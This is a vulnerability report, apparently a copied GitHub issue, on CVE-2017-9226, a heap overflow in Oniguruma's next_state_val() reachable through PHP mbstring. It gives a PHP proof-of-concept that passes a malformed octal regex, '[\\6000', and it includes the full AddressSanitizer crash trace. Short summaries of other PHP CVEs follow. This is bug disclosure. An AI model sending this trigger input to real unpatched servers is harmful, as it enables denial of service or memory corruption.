Headline
CVE-2017-9226: Heap corruption in next_state_val() in 15 encodings · Issue #55 · kkos/oniguruma
An issue was discovered in Oniguruma 6.2.0, as used in Oniguruma-mod in Ruby through 2.4.1 and mbstring in PHP through 7.1.5. A heap out-of-bounds write or read occurs in next_state_val() during regular expression compilation. Octal numbers larger than 0xff are not handled correctly in fetch_token() and fetch_token_in_cc(). A malformed regular expression containing an octal number in the form of ‘\700’ would produce an invalid code point value larger than 0xff in next_state_val(), resulting in an out-of-bounds write memory corruption.
This heap corruption is due to a different cause than issue #18 and #21 , the following is found after applying the patches of both. The issue affects latest PHP 5/7 installations with mbstring enabled, when the regular expression is from network, this can be considered as a security issue.
Tested on 32-bit ASAN build, one of the 15 encodings below would cause an out-of-bound write:
$ cat mb_regex_min.php
<?php
if (!extension_loaded('mbstring')) print "mbstring not loaded.\n";
if (!function_exists('mb_regex_encoding')) print "mb_regex_encoding() is not available\n";
if (!function_exists('mb_ereg_search_pos')) print "mb_ereg_search_pos() is not available\n";
if (!function_exists('mb_ereg_search_init')) print "mb_ereg_search_init() is not available\n";
$encoding = array(
'ASCII',
'ISO-8859-1',
'ISO-8859-2',
'ISO-8859-3',
'ISO-8859-4',
'ISO-8859-5',
'ISO-8859-6',
'ISO-8859-7',
'ISO-8859-8',
'ISO-8859-9',
'ISO-8859-10',
'ISO-8859-13',
'ISO-8859-14',
'ISO-8859-15',
'KOI8-R');
$enc_id = rand(0, count($encoding));
echo "*** testing encoding " . $encoding[$enc_id] . " ***\n";
mb_regex_encoding($encoding[$enc_id]);
if(mb_ereg_search_init("a")) {
var_dump(mb_ereg_search_pos('[\\6000'));
}
?>
$ bin/php mb_regex_min.php
=================================================================
==20048== ERROR: AddressSanitizer: heap-buffer-overflow on address 0xb540d948 at pc 0x9e384dc bp 0xbfbc8948 sp 0xbfbc893c
READ of size 4 at 0xb540d948 thread T0
#0 0x9e384db in next_state_val /home/xie/php-7.1.5/ext/mbstring/oniguruma/regparse.c:4087
#1 0x9e47185 in parse_char_class /home/xie/php-7.1.5/ext/mbstring/oniguruma/regparse.c:4306
#2 0x9e85627 in parse_exp /home/xie/php-7.1.5/ext/mbstring/oniguruma/regparse.c:5272
#3 0x9ea4210 in parse_branch /home/xie/php-7.1.5/ext/mbstring/oniguruma/regparse.c:5437
#4 0x9ea57ee in parse_subexp /home/xie/php-7.1.5/ext/mbstring/oniguruma/regparse.c:5474
#5 0x9ea7ed2 in parse_regexp /home/xie/php-7.1.5/ext/mbstring/oniguruma/regparse.c:5518
#6 0x9ea7ed2 in onig_parse_make_tree /home/xie/php-7.1.5/ext/mbstring/oniguruma/regparse.c:5545
#7 0x9d62da8 in onig_compile /home/xie/php-7.1.5/ext/mbstring/oniguruma/regcomp.c:5305
#8 0x9d75ba1 in onig_new /home/xie/php-7.1.5/ext/mbstring/oniguruma/regcomp.c:5550
#9 0xa1b197b in php_mbregex_compile_pattern /home/xie/php-7.1.5/ext/mbstring/php_mbregex.c:456
#10 0xa1d70a4 in _php_mb_regex_ereg_search_exec /home/xie/php-7.1.5/ext/mbstring/php_mbregex.c:1241
#11 0xa1d70a4 in zif_mb_ereg_search_pos /home/xie/php-7.1.5/ext/mbstring/php_mbregex.c:1331
#12 0xc540ded in ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER /home/xie/php-7.1.5/Zend/zend_vm_execute.h:675
#13 0xc3afba1 in execute_ex /home/xie/php-7.1.5/Zend/zend_vm_execute.h:429
#14 0xcf50612 in zend_execute /home/xie/php-7.1.5/Zend/zend_vm_execute.h:474
#15 0xbcb52df in zend_execute_scripts /home/xie/php-7.1.5/Zend/zend.c:1476
#16 0xb3fd433 in php_execute_script /home/xie/php-7.1.5/main/main.c:2537
#17 0xcf6e3b1 in do_cli /home/xie/php-7.1.5/sapi/cli/php_cli.c:993
#18 0x811a9f6 in main /home/xie/php-7.1.5/sapi/cli/php_cli.c:1381
#19 0xb5fbba82 (/lib/i386-linux-gnu/libc.so.6+0x19a82)
#20 0x811c8b0 in _start (/home/xie/php_fuzz/bin/php+0x811c8b0)
0xb540d948 is located 8 bytes to the left of 44-byte region [0xb540d950,0xb540d97c)
allocated by thread T0 here:
#0 0xb61ca854 (/usr/lib/i386-linux-gnu/libasan.so.0+0x16854)
#1 0x9ea61a3 in node_new /home/xie/php-7.1.5/ext/mbstring/oniguruma/regparse.c:1120
#2 0x9ea61a3 in onig_node_new_alt /home/xie/php-7.1.5/ext/mbstring/oniguruma/regparse.c:1257
#3 0x9ea61a3 in parse_subexp /home/xie/php-7.1.5/ext/mbstring/oniguruma/regparse.c:5492
#4 0x3fffffff (+0x17ffffff)
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/xie/php-7.1.5/ext/mbstring/oniguruma/regparse.c:4118 next_state_val
Shadow bytes around the buggy address:
0x36a81ad0: fa fa 00 00 00 00 00 04 fa fa 00 00 00 00 00 04
0x36a81ae0: fa fa 00 00 00 00 00 04 fa fa 00 00 00 00 00 04
0x36a81af0: fa fa 00 00 00 00 00 04 fa fa 00 00 00 00 00 04
0x36a81b00: fa fa 00 00 00 00 00 04 fa fa 00 00 00 00 00 04
0x36a81b10: fa fa 00 00 00 00 00 04 fa fa 00 00 00 00 00 04
=>0x36a81b20: fa fa 00 00 00 00 00 04 fa[fa]00 00 00 00 00 04
0x36a81b30: fa fa 00 00 00 00 00 04 fa fa 00 00 00 00 00 04
0x36a81b40: fa fa 00 00 00 00 00 04 fa fa 00 00 00 00 00 04
0x36a81b50: fa fa 00 00 00 00 00 04 fa fa 00 00 00 00 00 00
0x36a81b60: fa fa 00 00 00 00 00 00 fa fa fd fd fd fd fd fa
0x36a81b70: fa fa 00 00 00 00 00 00 fa fa 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap righ redzone: fb
Freed Heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
ASan internal: fe
==20048== ABORTING
Aborted
Related news
spl_array.c in the SPL extension in PHP before 5.5.37 and 5.6.x before 5.6.23 improperly interacts with the unserialize implementation and garbage collection, which allows remote attackers to execute arbitrary code or cause a denial of service (use-after-free and application crash) via crafted serialized data.
The phar_make_dirstream function in ext/phar/dirstream.c in PHP before 5.6.18 and 7.x before 7.0.3 mishandles zero-size ././@LongLink files, which allows remote attackers to cause a denial of service (uninitialized pointer dereference) or possibly have unspecified other impact via a crafted TAR archive.
The cdf_check_stream_offset function in cdf.c in file before 5.19, as used in the Fileinfo component in PHP before 5.4.30 and 5.5.x before 5.5.14, relies on incorrect sector-size data, which allows remote attackers to cause a denial of service (application crash) via a crafted stream offset in a CDF file.